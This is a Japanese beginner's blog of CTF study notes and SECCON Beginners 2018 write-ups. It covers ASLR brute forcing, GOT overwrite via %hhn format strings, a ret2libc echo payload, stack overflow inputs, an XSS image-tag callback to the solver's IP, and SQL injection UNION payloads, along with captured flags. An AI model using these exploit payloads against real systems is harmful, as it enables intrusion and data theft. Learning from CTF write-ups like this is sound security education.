196の日記

完全に開発メモと雑談、その他忘れそうな計算式などを書き溜める場所になっています!

セキュリティコンテストチャレンジブック pwn ASLR回避〜ブルートフォースの誤植

詳しい内容は省略

ASLRが有効だと、libc.so.6のアドレスが不定となり、今までの攻撃手段が使えない。しかし、そのランダム性にも規則性があり特に今回で言えば、8桁中6、5、4桁目のみが変化しています。なので、その範囲でアドレスを決め打ちし、呼び出したい関数のアドレスもoffsetを利用して決めてしまいます。あとは、そのアドレスになることを願って、ひたすら同じ入力を繰り返すだけです。

誤植

最後のbreakはif文にあるべきなので、このインデントは間違い。このままだと一回実行しただけで、breakしてしまう。なので以下のように修正

実行画面

f:id:thinline196:20180713230144p:plain

GOT Overwrite - %hhnを使ってみる

GOT Overwrite

以下の二つを満たすと、ライブラリの関数アドレスを保存するGOT領域が書き込み可能となっているらしい

  • 実行ファイルがライブラリと動的リンクされている
  • No RELRO もしくは Partial RELRO



準備

strlenのアドレスが書き込まれる場所を探します。今回は0x0804a01cだとします。

$ readelf -r got

次にSystem関数のアドレスを探します。ASLR条件下と仮定して、以下のコマンドで調べます。今回は0xf7e52e70だとします。

$ gdb -q got
gdb_peda$ b main
gdb_peda$ r
gdb-peda$ p system 

次は入力がどのいちに反映されるか確認します。

f:id:thinline196:20180712223719p:plain

7個目ですね。%nは指定されたアドレスを4バイト分と見てprintfが出力している文字数をそこに書き込んでくれます。また%7$nとすれば、先ほどの7番目のアドレスに対して書き込んでくれるという優れもの。%?xとすると?分の文字を出力したと同じ効果があるものも一緒に使用します。

今回は%hhnを使用するということで、1バイト分ずつ書き込んでいこうと思います。ちなみに%hnは2バイト分。

やってみる


0x0804a01c~0x0804a01f(strlenのアドレスが入っていることろ)にSystem関数のアドレス0xf7e52e70を書き込むということで、

  • 0x0804a01c には 0x70
  • 0x0804a01d には 0x2e
  • 0x0804a01e には 0xe5
  • 0x0804a01f には 0xf7

を書き込みます。(リトルエンディアン)


で、文字数ですが、
・始めのアドレスを描く部分で16バイト使用します。
・次に、0x70を書き込みために、文字数を112にします。すでに16バイト(0x10)あるので、0x70-0x10=0x60 で%96xでok(注意として、%?xは10進数)これを7番目にhhnで書き込むので、%7$hhn
・次、2eを書き出したいが、すでに文字数が0x70。実はオーバーフロー分は無視されるらしいので、0x12eを目指せばOK。3桁目の1が無視されて書き出される。
・あとは、手作業で。。。


・最後、fgetsの入力は改行でストップするため、2個目のfgetsに入れたいもの(System関数の引数になる)の前に¥nを挟むこと。

結果

f:id:thinline196:20180712225818p:plain

しっかりlsコマンドを使用できているので、eipを奪えています。




何が言いたかったかというと、%hhnを使用するときのオーバーフロー分の計算は16進数で求めて、最後に必要な文字数を10進数で表したほうがわかりやすいよ

Return to libc (ret2libc) system関数を呼び出すメモ

はじめに

これはハリネズミ本の中のret2libcの内容に対する自分なりのメモです



環境はubuntu14.04.5です

ここに来る前にやったのは

ret2pltという、printf関数を呼び出すやつでした。この際は

A*44文字 + printfのアドレス + ダミー(bbbb) + 引数アドレス(bufferアドレス)

をechoで実行ファイルに渡すことで、ret2pltを再現してました。

ret2libcを行うには

一般的には、実行ファイルの中で”/bin/bash”や"/bin/sh"という文字列を検索して、そこへのアドレスを引数アドレスに渡してあげるらしいのですが(gdbないでfind /bin/bash文字列を検索する)、今回はスクリプト内最後でstrcpyを実装しているので、echoの入力がbufferに入ります。ということで、A*44の始めの部分を/bin/bashに変更します。

(/bin/bash+A*?文字)=44文字 + systemのアドレス + ダミー(bbbb) + 引数アドレス(bufferアドレス)

ここで、bufferはsystem関数でコマンドとして実行できるような文字列である必要があるらしいです。
・文字列がNULLバイト(¥x00)で終わる
・不要な文字をコメントアウトする

/bin/bashを使用する場合でやってみる

・/bin/bash は 9文字としてカウントします
・NULLバイト¥x00は1文字としてカウントします
・上記の2つと残りはAを使って44文字になるようにする

例えば以下のようになります。

(echo -e '/bin/bash¥x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¥x70¥x2e¥xe5¥xf7BBBB¥x60¥xa0¥x04¥x08';cat) | ./bof3 

Aの部分は34文字で+9+1で44文字になってます。



余談ですが、コメントアウトする場合は'/bin/bash #AAAA...'となり、A以外は11文字、Aで33文字使用します。

CTF練習用環境の初期設定メモ

私はubuntu14.04.5を使用してます。
Ubuntu 14.04.5 LTS (Trusty Tahr)


gcc を使用する際にfatal errorが発生する

bits/libc-header-start.h:そのようなファイルやディレクトリは存在しません。

$ sudo apt-get install gcc-multilib g++-multilib

ASLRの無効化

$ sudo sysctl -w kernel.randomize_va_space=0

gdb-pedaの導入

(gdbがデフォルトで入っている前提)

$ apt-get install git
$ git clone https://github.com/longld/peda.git ~/peda
$ echo "source ~/peda/peda.py" >> ~/.gdbinit

rp++の導入

ちょっと詳しくないですがとりあえず起動するまでの流れ

$ wget https://github.com/downloads/0vercl0k/rp/rp-lin-x64
$ mv rp-lin-x64 rp++
$ chmod 755 rp++

使い方は

$ ./rp++ -f 実行ファイル名 -r 1 | grep pop

スタックベースバッファオーバーフローがうまくいかない(ネズミ本)

あらかじめ言いますが、今から話すこと解決してません。今後わかるようになった時ように残しておくだけです。なので、何か期待してる方はブラウザバックで、、、ごめんなさい!


ubuntuの環境は18.04

CTF界ではおそらくお馴染み?のハリネズミ

を初心者ながら頑張って読んでたのですが、、p.102の2.4.1スタックベースオーバーフローの章です。
隣り合って宣言された変数の片方に、fgetsを用いて文字入力を行う際、変数のバッファー以上に入力のバッファー?を用意すると、エラーなしに変数の上限以上の値を入れることができる。ちょっと何言っているかわかりにくいので、コードを貼ります。



上のbufferは10文字確保してますが、fgetsでは64文字分入力が可能です。ここで、10文字以上入力するとbufferに隣り合ったzeroにも入力が反映されるという仕組み。ということで、入力には以下のものを使用します。これは、bufferには10文字分とりあえず入れておいて、zeroに12345678を入れようとする入力です。

echo -e 'AAAAAAAAAA¥x78¥x56¥x34¥x12' | bof2

これで本では成功しているのですが、"congrats!"が出力されていません。。。
f:id:thinline196:20180626003107p:plain


で、色々と試行錯誤を行いました。ひとまずたどり着いた方法がこちら


f:id:thinline196:20180626004128p:plain

ifを行なった後に、もう一度printfをしてやると成功します。。




僕の予想では、ifでzeroが呼ばれる際にあらかじめ保存してあった、本来のzeroの値(0)が呼び直されて、上書きした値が本来の値に上書きし直されるのかと思います。が、後ろでまたzeroが呼ばれる際は、使い回されるため(効率的に使用するため?)本来のzeroが呼び直されないのではないかと思います、、多分(根拠はないです)。

わかる人教えてくれたらとても勉強になるのになぁ、、頑張ります、、







、、ちなみに、これ確か前に調べて、関数として定義したものをmainで読んであげれば回避できるというようなものを見かけた気がします。

f:id:thinline196:20180626005053p:plain



追記

stackoverflow.com

こちらを参考にしてください。それと、ubuntu14.04ではこの問題は発生しないので、勉強だけなのであればこちらを使用してください
Ubuntu 14.04.5 LTS (Trusty Tahr)

SECCON for beginners 2018 【復習回】

Write upみたいなことだけれど、自分で解いた範囲ではなく他の人のWrite upをみて解いてくので、ご了承を。。

初心者の書いた簡単な部分のWrite upはこちら↓
thinline196.hatenablog.com


今回参考にさせていただくのはこちらの凄い方
SECCON Beginners CTF 2018 Write-up




RSA is Power 103pt

この問題、RSAと書いてあるので問題内容はすぐに把握。で is Powerと書かれていたので、ああこれはもう脳死で回せと言うことかと笑 ですが、逆にそれしかわからず、pythonのなんかのライブラリでとりあえず約数を求めようとしたものの、なんか全然終わらないしMacは熱を帯びるわで、お手上げしました。


タイトルと一緒に渡され他のはこの文字列

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316

write upを参考にすると、msieveを使って簡単に素因数分解できるそう。ちなみにNを分解します。(どうやらこのNは短い部類に入るそうで、、難易度は低いらしい、)

./msieve -q -v -e 97139961312384239075080721131188244842051515305572003521287545456189235939577 # -eで10進数15桁以上の因数を探索


Msieve v. 1.52 (SVN unknown)
Mon May 28 22:21:45 2018
random seeds: a1f76f36 9102150a
factoring 97139961312384239075080721131188244842051515305572003521287545456189235939577 (77 digits)
searching for 15-digit factors
searching for 20-digit factors
commencing quadratic sieve (77-digit input)
using multiplier of 17
using generic 32kb sieve core
sieve interval: 12 blocks of size 32768
processing polynomials in batches of 17
using a sieve bound of 922619 (36471 primes)
using large prime bound of 92261900 (26 bits)
using trial factoring cutoff of 26 bits
polynomial 'A' values have 10 factors

sieving in progress (press Ctrl-C to pause)
36992 relations (19524 full + 17468 combined from 192471 partial), need 36567
36992 relations (19524 full + 17468 combined from 192471 partial), need 36567
sieving complete, commencing postprocessing
begin with 211995 relations
reduce to 52287 relations in 2 passes
attempting to read 52287 relations
recovered 52287 relations
recovered 40984 polynomials
attempting to build 36992 cycles
found 36992 cycles in 1 passes
distribution of cycle lengths:
   length 1 : 19524
   length 2 : 17468
largest cycle: 2 relations
matrix is 36471 x 36992 (5.4 MB) with weight 1110613 (30.02/col)
sparse part has weight 1110613 (30.02/col)
filtering completed in 3 passes
matrix is 25358 x 25422 (4.0 MB) with weight 849423 (33.41/col)
sparse part has weight 849423 (33.41/col)
saving the first 48 matrix rows for later
matrix includes 64 packed rows
matrix is 25310 x 25422 (2.6 MB) with weight 612458 (24.09/col)
sparse part has weight 417300 (16.41/col)
commencing Lanczos iteration
memory use: 2.6 MB
lanczos halted after 402 iterations (dim = 25304)
recovered 14 nontrivial dependencies
prp39 factor: 299681192390656691733849646142066664329 #因数1
prp39 factor: 324144336644773773047359441106332937713 #因数2
elapsed time 00:02:15

計算量が最小の因数pの大きさに依存するものと合成数nの大きさのみに依存するものに分けることができるらしく、今回使用した楕円曲線法は前者のタイプのアルゴリズムらしいです。ちなみに後者は複数多項式2次ふるい法(MPQS)とか



これを上の参考サイトさんのpythonコードで実行します。どうやらpython2用のコードっぽいのでできない人はpaizaで、


ctf4b{5imple_rs4_1s_3asy_f0r_u}





[Warmup] condition 85pt

言い訳をするとこれ、結果的には解けてました!サーバに投げる文字列作ってました!けどちょうどメモった後、夜ご飯を食べに行ってしまって、、そのまま帰って試さずにこれはダメな奴だったと勝手に思い込んで、、、、ああぁ

[rbp -0x04]の値と 0xdeadbeefの値をcmpで比べている部分がありその直前にgetsがあったので、絶対ここでした。

AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDAAAA¥xaf¥xbe¥xed¥xde #44個の文字埋め

getsで入力した値でうまくrbp-0x04先の値を書き換えます。Aをめちゃ大量に入力してgdbなどでどこらへんまでAAAAAAAで書き換わるか探すことで解けるはずです。今回はcmpが成功することで、flagの表示部分までプログラムが走るようになるギミックでした。



Gimme your comment 78pt

このご意見ページからブラウザのUser-Agentを発見しろと言う問題。これ、解くには自分でサーバを立ち上げて上げる必要があったらしいです。Javascriptが本文の場所から入力できて、バリデーションされてないってわかっただけに悔しい問題でした。。

手元にサーバーを立ち上げて、問い合わせの本文に<img src="http://自分のIPアドレス">を書き込む。

と解説されているので、やはり本文のところでした、、まぁどうぜhtmlのタグとか思いつかなくてわからなかったのかもですが笑



色々いじってると次のsql文をどこかしらでやっていることはわかった。

/items.php?minstock=0

今考えればこれは100SQLインジェクションの問題ですね,,笑 全然わかりませんでした。。。

で、解説によればMySQLを使用しているらしいので、スキーマも決定し、

0 UNION SELECT table_name,2,3,4,5 FROM information_schema.tables-- #確認
0 UNION SELECT flag,2,3,4,5 FROM flag-- #取り出し

これ、数日前に対策で少し勉強したところだったので、とても悔しい、、やはり実装されている中で見つけるって言うのは難しかったですね、、





こんな感じで

当日に解けそうだった問題や、解けなかったけどめっちゃ考えた問題を復習しました。


考えて楽しかったのはPwnだったので、初心者なりにまずはじめにPwnを勉強し始めようと思いました。頑張ります



以上。

【初参加】SECCON 2018 for beginners Write up(5/26-27) (ノ・Д・)ノ

めちゃ眠いです笑 ちょうど今日の13時、日をまたいで行われたSECCONが終わりました!ずっと参加したかったんですが、やっぱり敷居が高くて(勉強もしてなくて)、、しかもオンラインでの開催ということでとても良い機会でした。まぁ、もちろん簡単なものしか解けなかったので、このWrite Upもそのくらいの程度のレベルです笑 復習です!

ちなみにもうWriteUpすら終わらしている方がいらっしゃいるようなので正確な回答を求める方はこちらで。僕はあくまで解けたやつと惜しかったやつのみ喋ります笑(自分のため)
SECCON Beginners CTF 2018 Write-up






途中仮想環境のデータが全部消えちゃって、いくつか努力の跡がなくなっちゃいましたが、なんとか書き下していきます



[Warmup] Greeting 51pt

下のサイトにアクセスしてadminでログインしたらフラグが表示されます。



そのままフォームに"admin"と入力すると偽管理者となってしまうので、僕はCookieに保存された$usernameをchrome 拡張で書き換えた後、ctfのサイトのリンクからもう一度訪問しました。するとPOSTには値が入っていないので、Cookieの書き換えた$usernameを参照してくれて、adminになれました。

f:id:thinline196:20180527184626p:plain
ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}




[Warmup] plain mail 51pt

これ今回相方だった人が解いたので詳しく覚えていませんが、pcapファイルが与えられるので、その中で、'今からファイルとパスワードを送るぜ'という会話をしていることがわかります。あとはその中のzipとパスワードを取り出せばokらしい!

でzipファイルを取り出さなければなりません。とりあえず、pcapファイルをWireSharkで開きます。そのあと、明らかになんちゃら.zipとか怪しいパケットがあるので、上の条件欄でそれ関係のものしか表示しないようにしましょう。
f:id:thinline196:20180527221043p:plain


このあと、左上の[ファイル]>[オブジェクトをエクスポート]>[IMF]とたどると、保存できるもの一覧が出るので一応全部保存.拡張子は.emlにしてください(正確にはzipが窓で確認できるやつだけで良い) この時はおそらく、TCPストリームを開くと前後の会話や通信は表示されず、zipを送ったパケットのみが表示される状態であると思うので、それを目安に。で、このemlファイルはメール系の拡張子だそうで、thunderbirdで開くことができます。(右クリックからプログラムから開くで開いてください。サンダーバードはブラウザ経由で入れると思うので、ダウンロードしたあと、thunderbird/thunderbirdを実行して、メールを開くためのアプリケーションであると認識させてあげてください。そうしないと、プログラミング一覧に表示されません)
で、うまく開けるとzipがダウンロード可能と出るのでそれを保存。最後に、メールにあった_you_are_pro_のパスワードを入れることでフラグが入手できます。

f:id:thinline196:20180527222104p:plain
ctf4b{email_with_encrypted_file}




[Warmup] Welcome 51pt

問題の説明欄には'フラグは公式IRCチャンネルのトピックにあります'とありました。公式ページのルール説明の欄に、今大会に関する情報はツイッターIRCから発信するとのことが書いてありましたので、そこに飛びました。 なんか適当にいじっていたら画面上部に表示されてるのを見つけました。無事フラグ回収。それにしても僕はこれ初めて触りました。

f:id:thinline196:20180527202835p:plain
ctf4b{welcome_to_seccon_beginners_ctf}



[Warmup] Simple Auth 51pt

実行可能なファイルが配られるので、chmodをして実行可能にしたところでいざ走らせると、パスワードを聞かれました。
もちろん知りません。バイナリで開きましょう。僕がよく使うのは下のコマンド

$ objdump -d -M intel ファイル名
||
もしくはgdbとかはデバッグがしやすいです。

[f:id:thinline196:20180527224151p:plain]


そして明らかに怪しい部分発見。auth内ですし1文字ずつ読んでるし、これを全部文字に変えたら終わりです。
<b>ctf4b{rev3rsing_p4ssw0rd}</b>




** [Warmup] Veni, vidi, vici 51pt

このタイトル、カエサルから来ているそうで、もちろんカエサル?シーザー?暗号系ってことがわかる。(ちなみに本番中にググった) 一緒に3つのファイルが配られる。1個目、これは適当にシフトしていった。フラグの始まりが特徴的なので、多少引っ掛けもあったけれど、とりあえず形になった。

>||
Gur svefg cneg bs gur synt vf: pgs4o{a0zber
The first part of the flag is: ctf7b{n3more


2つ目、the secondぐらいは検討をつけてから手をつけてみた。多分あってると予想。

Lzw kwugfv hsjl gx lzw xdsy ak: _uDskk!usd_u
The second part of the flag is: _cLass!cal_c

3つめ、これは逆さまになってるアルファベッドに似た文字たち。普通に元どおりにしてみた

{ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥
Rypt0graphy}


これで一応揃ったけれど、フラグの形式がctf4bなので、少し悩む。。。結果から言うと、

ctf7b{n3more_cLass!cal_cRypt0graphy} //そのまま
ctf4b{n0more_cLass!cal_cRypt0graphy} //正解

数字を−3したのが答えに。
ノーモアなんちゃら感ちゃらーってなりました(・ω・)(0は計算しないの?!とか思わない)


てけいさんえくすとりーむず 55pt

300秒中に100問の四則演算を解く問題。”nc tekeisan-ekusutoriim.chall.beginners.seccon.jp 8690” に接続すれば対話式で進んでいきます。1問につき、通信時間込みで3秒で解かなければいけません!って話ですが、スクリプト組みましょう。実は真面目にpythonを触るのは初めてでした!ホントにifすら書けなかったので、関数すら作ってないです。しかも、本番中はpython2系でやっていたですが、訳あってデータが飛んで、、、組み直しました。しかもpython3環境で作ったので少し仕様も変わったと言う、、


f:id:thinline196:20180527230626p:plain

ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}




僕らにはまだこれで限界だった

んーめっちゃ楽しかったんですけど、やっぱり振り返ってみるともっと解けたらよかったなと言う感じです!までも、これから勉強を始める身としては今回は素晴らしい機会だったと感じました。2、3ヶ月に1回程度開いて欲しいです!有料でも多分参加すると思います。それくらい収穫があった今回でした。



ちなみに、順位は 316 / 844 位 終わってみたら半分切ってて、びっくり!勉強を目的にしてたので少しでもいい結果が残ってたのは素直に嬉しかったです!
f:id:thinline196:20180527231007p:plain




でも、他のチームを見ていたらやっぱりおばけみたいな方ばっかりですね!僕もおばけになれるように頑張ります。





次回は、解けそうで解けなかった問題を振り返ろうと思いますが、他の方のWriteUpを見ながらやるので、僕のタイトルには"Writeup"はつけないと思います。(ctf4bぐらいは書く) 以上。